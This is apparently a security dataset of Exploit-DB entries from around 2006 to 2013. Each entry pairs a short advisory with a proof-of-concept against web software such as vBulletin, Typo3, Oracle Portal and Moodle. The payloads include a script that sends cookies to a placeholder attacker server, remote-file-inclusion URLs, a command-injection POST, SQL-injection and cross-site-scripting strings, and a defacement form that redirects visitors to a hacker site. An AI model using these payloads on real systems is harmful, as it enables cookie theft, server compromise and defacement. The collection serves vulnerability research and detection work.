QLWD/code_shield huggingface dataset:
标题: vBulletin 3.5.x/3.6.x - SWF Script Injection EDB-ID: 29338 CVE: 2006-6779 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/21736/info

vBulletin is prone to a vulnerability that may let remote attackers inject arbitrary script code into the application.

If exploited, this vulnerability may let attackers steal cookie-based authentication credentials. Other attacks are also possible.

Update: Note that the ability to upload SWF files is disabled by default, and must be enabled by site administrators to expose this issue.

This BID is being retired because further information shows that the application is not vulnerable to this issue.

getURL("javascript:function blab(){}var scriptNode = 
+document.createElement('script');document.getElementsByTagName('body')[0].appendChild(scriptNode);scriptNode.language='javascript';scriptNode.src='http://www.YourServer/UrPHPpage.php?Cookie='+document.cookie
+;blab();"); URL: https://www.exploit-db.com/exploits/29338
标题: Luckybot 3 - 'DIR' Multiple Remote File Inclusions EDB-ID: 29342 CVE: 2006-6788 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/21765/info

Multiple remote file-include vulnerabilities affect Luckybot because the application fails to properly sanitize user-supplied input before using it in a PHP 'include()' function call. 

An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. 

Version 3 is vulnerable to this issue; other versions may also be affected.

NOTE: This BID is being retired because further analysis reveals that these issues are not exploitable.

http://www.example.com/run.php?dir=SHELL?&file=
http://www.example.com/classes/ircbot.class.php?dir=SHELL?&file= URL: https://www.exploit-db.com/exploits/29342
标题: phpCMS 1.1.7 - 'class.session_PHPcms.php' Remote File Inclusion EDB-ID: 29346 CVE: 2006-3019 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/21768/info
   
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/include/class.session_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url] URL: https://www.exploit-db.com/exploits/29346
标题: Opsview pre 4.4.1 - Blind SQL Injection EDB-ID: 29326 CVE: 2013-5694 类型: WEBAPPS 平台: PHP 发布日期: 2013-10-31 漏洞利用脚本: CVE-2013-5694 Blind SQL Injection in Ops View
Version(s): Opsview pre 4.4.1
Author: J. Oquendo (joquendo at e-fensive dot net)


I. ADVISORY

Title: Blind SQL Injection in OpsView
Date published: 2013-10-28
Vendor contacted: 2013-09-04


II. BACKGROUND

Opsview is a systems management software built on open
source software. To minimize noise, read more about it
here

http://www.opsview.com/about-us


II. DESCRIPTION

A Blind SQL injection vulnerability exists in OpsView
"acknowledge" function. A malicious user can post bad data
leading to a database dump, user creation, code execution,
etc.

POST /status/service/acknowledge HTTP/1.1
Content-Length: 118
Content-Type: application/x-www-form-urlencoded
Host: 10.20.30.68:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Opera/5.54 (Windows NT 5.1; U)  [en]

comment=&from=http%3a%2f%2f10.20.30.68%2fstatus%2fhostgroup&notify=1&service_selection=%24%7dsql injection goes 
here%7d&submit=Submit

For more on BSQLI read about it here:

http://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_injection


III SOLUTION

Opsview released a fix with Opsview 4.4.1
http://docs.opsview.com/doku.php?id=opsview4.4:changes#fixes


-- 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
J. Oquendo
SGFA, SGFE, C|EH, CNDA, CHFI, OSCP, CPT, RWSP, GREM

"Where ignorance is our master, there is no possibility of
real peace" - Dalai Lama

42B0 5A53 6505 6638 44BB  3943 2BF7 D83F 210A 95AF
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x2BF7D83F210A95AF URL: https://www.exploit-db.com/exploits/29326
标题: Xt-News 0.1 - 'add_comment.php?id_news' Cross-Site Scripting EDB-ID: 29311 CVE: 2006-6746 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/21719/info

Xt-News is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.

An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 0.1 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/add_comment.php?id_news=[XSS] URL: https://www.exploit-db.com/exploits/29311
标题: Xt-News 0.1 - 'show_news.php?id_news' Cross-Site Scripting EDB-ID: 29313 CVE: 2006-6746 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/21719/info
 
Xt-News is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.
 
An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
Version 0.1 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/show_news.php?id_news=[XSS] URL: https://www.exploit-db.com/exploits/29313
标题: Xt-News 0.1 - 'show_news.php?id_news' SQL Injection EDB-ID: 29314 CVE: 2006-6747 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/21719/info
  
Xt-News is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.
  
An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
Version 0.1 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/show_news.php?id_news=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/29314
标题: FTPRush 1.0.610 - Host Field Local Buffer Overflow EDB-ID: 29305 CVE: 2006-6752 类型: DOS 平台: MULTIPLE 发布日期: 2006-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/21714/info

FTPRush is prone to a local buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied input data to an insufficiently sized buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in denial-of-service conditions.

This issue affects version 1.0.0.610; other versions may also be vulnerable.

Supplying the following to the client GUI is sufficient to demonstrate this issue:

Host: 4131 x "A" URL: https://www.exploit-db.com/exploits/29305
标题: A-Blog 1.0 - Cross-Site Scripting EDB-ID: 29306 CVE: 2006-6729 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/21716/info

The 'a-blog' application is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 2.1.c is vulnerable to this issue; other versions may also be affected.

http://www.example.com/calendar/export_handler.php?format=<body+onload=alert(1111)>&id=200 http://www.example.com/calendar/export_handler.php?format=<img+src=http://www.example2.com/img/logo.gif+onload=alert(1111)>&id=200 URL: https://www.exploit-db.com/exploits/29306
标题: Typo3 3.7/3.8/4.0 - 'Class.TX_RTEHTMLArea_PI1.php' Multiple Remote Command Execution Vulnerabilities EDB-ID: 29300 CVE: 2006-6690 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21680/info

TYPO3 is prone to multiple vulnerabilities that allow attackers to execute arbitrary commands. This issue occurs because the application fails to properly sanitize user-supplied data.

Exploiting these issues allows unauthenticated attackers to execute arbitrary system commands with the privileges of the application.

Versions 4.0 to 4.0.3 and 4.1beta are vulnerable; versions 3.7 and 3.8 are also vulnerable if they have the optional 'rtehtmlarea' extension installed.

POST /typo3/sysext/rtehtmlarea/htmlarea/plugins/SpellChecker/spell-
check-logic.php?id=1 HTTP/1.1
Host: www.example.com
User-Agent: none
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

psell_mode=fast&to_p_dict=1&cmd=learn&userUid=test;+echo+'shell'+>+
/tmp/shell.txt+%23&enablePersonalDicts=true URL: https://www.exploit-db.com/exploits/29300
标题: Oracle Portal 9i/10g - Container_Tabs.jsp Cross-Site Scripting EDB-ID: 29308 CVE: 2006-6703 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/21717/info

Oracle Portal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before returning it to the user. 

An attacker can exploit this issue to execute arbitrary HTML and script code in a userâ??s browser session in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

The vulnerability is reported in Oracle Portal versions 9i and10g.

http://<target>/webapp/jsp/container_tabs.jsp?tc=null%20=%20null;alert('Hello!');window.open('http://www.oracle.com/?fix_security_bugs_now',%20'null');// URL: https://www.exploit-db.com/exploits/29308
标题: Oracle Portal 9.0.2 - Calendar.jsp Multiple HTTP Response Splitting Vulnerabilities EDB-ID: 29301 CVE: 2006-6697 类型: WEBAPPS 平台: JSP 发布日期: 2006-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21686/info

Oracle Portal is prone to multiple HTTP response-splitting vulnerabilities because the application fails to properly sanitize user-supplied input. 

A remote attacker may exploit these vulnerabilities to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust.

Versions 10g and 9.0.2 are vulnerable; other versions may also be affected.

http://www.example.com/webapp/jsp/calendar.jsp?enc=iso-8859-1%0d%0aContent-length=12%0d%0a%0d%0a%3Cscript%3Ealert('hi')%3C/script%3E URL: https://www.exploit-db.com/exploits/29301
标题: Mini Web Shop 2.1.c - 'view.php?Viewcategory.php' Cross-Site Scripting EDB-ID: 29299 CVE: 2006-6734 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/21677/info

Mini Web Shop is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 2.1.c is vulnerable to this issue; other versions may also be affected.

http://www.example.com/miniwebshop/modules/viewcategory.php?catname=[xss] URL: https://www.exploit-db.com/exploits/29299
标题: osTicket 1.2/1.3 Support Cards - 'view.php' Cross-Site Scripting EDB-ID: 29298 CVE: 2006-6733 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/21669/info

osTicket Support Cards is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/calendar/export_handler.php?format=<body+onload=alert(1111)>&id=200 http://www.example.com/calendar/export_handler.php?format=<img+src=http://www.example2.com/img/logo.gif+onload=alert(1111)>&id=200 URL: https://www.exploit-db.com/exploits/29298
标题: Mono XSP 1.x/2.0 - Source Code Information Disclosure EDB-ID: 29302 CVE: 2006-6104 类型: REMOTE 平台: LINUX 发布日期: 2006-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21687/info

XSP is prone to a source code information-disclosure vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks.

http://www.example.com/app/Default.aspx%20 URL: https://www.exploit-db.com/exploits/29302
标题: KDE LibkHTML 4.2 - NodeType Function Denial of Service EDB-ID: 29296 CVE: 2006-6660 类型: DOS 平台: LINUX 发布日期: 2006-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/21662/info

KDE libkhtml is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to open a malicious HTML document via an affected application such as kmail or Konqueror. 

Remote attackers may exploit this issue to crash applications that use the affected library, effectively denying service to legitimate users.

<HTML> <HEAD> <RANGE <COL SPAN <>> <FRAMESET onload > </HEAD> </HTML> URL: https://www.exploit-db.com/exploits/29296
标题: Contra Haber Sistemi 1.0 - 'Haber.asp' SQL Injection EDB-ID: 29293 CVE: 2006-6642 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/21626/info

Contra Haber Sistemi is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/haber.asp?id=[SqL]
http://www.example.com/haber.asp?id=-1%20union%20select%20*%20from%20haberler%20where%20id=82 URL: https://www.exploit-db.com/exploits/29293
标题: Moodle 1.5/1.6 - '/mod/forum/discuss.php?navtail' Cross-Site Scripting EDB-ID: 29284 CVE: 2006-6625 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21596/info

Moodle is reported prone to multiple input-validation vulnerabilities, including a cross-site scripting issue and an HTML injection issue, because the application fails to properly sanitize user-supplied input data. 

The cross-site scripting vulnerability is reported to affect version 1.6.1; the HTML-injection vulnerability affects version 1.5.

http://www.exmple.com/moodle/mod/forum/discuss.php?d=1&parent=2&navtail=<script >alert() < img src=& #106& #97& #118& #97& #115& #99& #114& #105& #112& #116& #58& #97& #108& #101& #114& #116& #40& #41> URL: https://www.exploit-db.com/exploits/29284
标题: Microsoft Windows Media Player 6.4/10.0 - MID Malformed Header Chunk Denial of Service EDB-ID: 29285 CVE: 2006-6601 类型: DOS 平台: WINDOWS 发布日期: 2006-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/21612/info

Multiple applications are prone to a denial-of-service vulnerability.

A remote attacker may exploit this vulnerability by presenting malicious 'WMV', 'MID', and 'AVI' files to a victim user. When an affected application processes this image, the application crashes, effectively denying service.

It is not known at this time if this issue can be leveraged to execute arbitrary code; this BID will be updated as further information becomes available.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29285.zip URL: https://www.exploit-db.com/exploits/29285
标题: Microsoft Windows Explorer - 'explorer.exe .WMV' File Handling Denial of Service EDB-ID: 29286 CVE: 2006-6602 类型: DOS 平台: WINDOWS 发布日期: 2006-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/21612/info
 
Multiple applications are prone to a denial-of-service vulnerability.
 
A remote attacker may exploit this vulnerability by presenting malicious 'WMV', 'MID', and 'AVI' files to a victim user. When an affected application processes this image, the application crashes, effectively denying service.
 
It is not known at this time if this issue can be leveraged to execute arbitrary code; this BID will be updated as further information becomes available.
 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29286.zip URL: https://www.exploit-db.com/exploits/29286
标题: GenesisTrader 1.0 - 'form.php' Arbitrary File Source Disclosure EDB-ID: 29282 CVE: 2006-6569 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21595/info

GenesisTrader is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input. These issues include multiple information-disclosure vulnerabilities, an arbitrary file-upload vulnerability, and multiple cross-site scripting vulnerabilities.

An attacker can exploit these issues to upload and execute malicious PHP code in the context of the webserver process, to view sensitive information, and to steal cookie-based authentication credentials. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. Exploiting these issues may aid the attacker in further attacks.

Version 1.0 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/form.php?floap=modfich&do=[FILE]
http://www.example.com/form.php?floap=modfich&chem=[FILE] URL: https://www.exploit-db.com/exploits/29282
标题: Knusperleicht Shoutbox 2.6 - 'Shout.php' HTML Injection EDB-ID: 29294 CVE: 2006-6721 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/21637/info

Knusperleicht Shoutbox is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

Version 2.6 is vulnerable; other versions may also be affected.

<html> <head><title>Cyber-Sabotage.Org</title></head> <body> <p align="center"><b>IMHOT3B </b></p> <p align="center"><b>Knusperleicht Shoutbox 2.6 Html .njaction Bug</b></p> <p align="center"><b><font size="4">Cyber-Sabotage.Org</font></b><br> </p> <p align="center"> <a href=" http://www.google.com.tr/search?hl=tr&q=intitle:"Knusperleicht+Shoutbox+2.6"&meta ="> For Searching Click Here Please</a><br> </p> <form name="form1" method="post" action="http://targer/shout.php"> Nick Name | Takma Ad:<p> <input type="text" name="sbNick" size="127" value="</table><h1><font color=#ff0000> Cyber-Sabotage.Org | CSDT ( Cyber Sabotage and Defacer ) TEAM </font></h1>" maxlength="900"><br> <input type="hidden" name="AdminNick" value="si"><br> Message | Mesaj:<br> <input type="text" name="sbKommentar" size="127" value="</table><h1><font color=#ff0000> Cyber-Sabotage.Org | CSDT ( Cyber Sabotage and Defacer ) TEAM </font></h1>"><br> <input type="submit" name="sbAbschicken" value="Send | Gonder" class="form"><br> </p> </form> <p><b>Alternatif Html Kodlar.:</b></p> <p><b><h1>Cyber-Sabotage.Org</h1></b></p> <p><b><font color="#FFFFFF"><div style=left:0px;top:0px;width:1000px;height:8000px;background-color:#000000;position:absolute><h1>Hacked By IMHOT3B<br>Cyber-Sabotage.Org&lt ;br></div></font></b></p> <p><b><iframe src="http://www.cyber-sabotage.org" borders="0"></iframe></b></p> <p><b><script>location.href="http://www.cyber-sabotage.org&quot ;;</script></b></p> <p><b><meta http-equiv="Refresh" content="0;url= http://www.cyber-sabotage.org"></b></p> </body></html> URL: https://www.exploit-db.com/exploits/29294
标题: Hilgraeve HyperAccess 8.4 - Multiple Remote Command Execution Vulnerabilities EDB-ID: 29281 CVE: 2006-6597 类型: REMOTE 平台: WINDOWS 发布日期: 2006-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21594/info

Hilgraeve HyperACCESS is prone to multiple remote command-execution vulnerabilities. 

Attackers can exploit these issues to execute arbitrary application commands with the privileges of the affected application. A successful exploit could result in the compromise of affected computers.

Version 8.4 is vulnerable to these issues; prior versions may also be vulnerable.

telnet://IPADDRESS:PORT # /r \\SERVER\share\scriptfile.txt URL: https://www.exploit-db.com/exploits/29281
标题: Multiple Vendor Firewall - HIPS Process Spoofing EDB-ID: 29287 CVE: 2006-6619 类型: DOS 平台: WINDOWS 发布日期: 2006-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/21615/info

Multiple vendor firewalls and HIPS (host-based intrusion prevention systems) are prone to a process-spoofing vulnerability.

An attacker can exploit this issue to have an arbitrary malicious program appear to run as a trusted process and function undetected on an affected victim's computer.

The following software is vulnerable; other versions may also be affected:

InfoProcess AntiHook version 3.0.0.23
AVG Anti-Virus plus Firewall version 7.5.431 
Comodo Personal Firewall version 2.3.6.81
Filseclab Personal Firewall version 3.0.0.8686
Look 'n' Stop Personal Firewall version 2.05p2
Symantec Sygate Personal Firewall version 5.6.2808

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29287.zip URL: https://www.exploit-db.com/exploits/29287
标题: GenesisTrader 1.0 - 'form.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29283 CVE: 2006-6571 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21595/info
 
GenesisTrader is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input. These issues include multiple information-disclosure vulnerabilities, an arbitrary file-upload vulnerability, and multiple cross-site scripting vulnerabilities.
 
An attacker can exploit these issues to upload and execute malicious PHP code in the context of the webserver process, to view sensitive information, and to steal cookie-based authentication credentials. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. Exploiting these issues may aid the attacker in further attacks.
 
Version 1.0 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/index.php?cuve=[XSS]
http://www.example.com/form.php?floap=ajoutfich&cuve=[XSS]
http://www.example.com/form.php?floap=modfich&chem=[XSS]
http://www.example.com/form.php?floap=modfich&do=[XSS]
http://www.example.com/form.php?floap=rename&chem=[XSS]
http://www.example.com/form.php?floap=rename&do=[XSS]
http://www.example.com/form.php?floap=copy&chem=[XSS]
http://www.example.com/form.php?floap=copy&do=[XSS]
http://www.example.com/form.php?floap=chmod&chem=[XSS]
http://www.example.com/form.php?floap=chmod&do=[XSS] URL: https://www.exploit-db.com/exploits/29283
标题: Omniture SiteCatalyst - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29288 CVE: 2006-6640 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/21620/info

Omniture SiteCatalyst is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/search.asp?ss=[XSS] URL: https://www.exploit-db.com/exploits/29288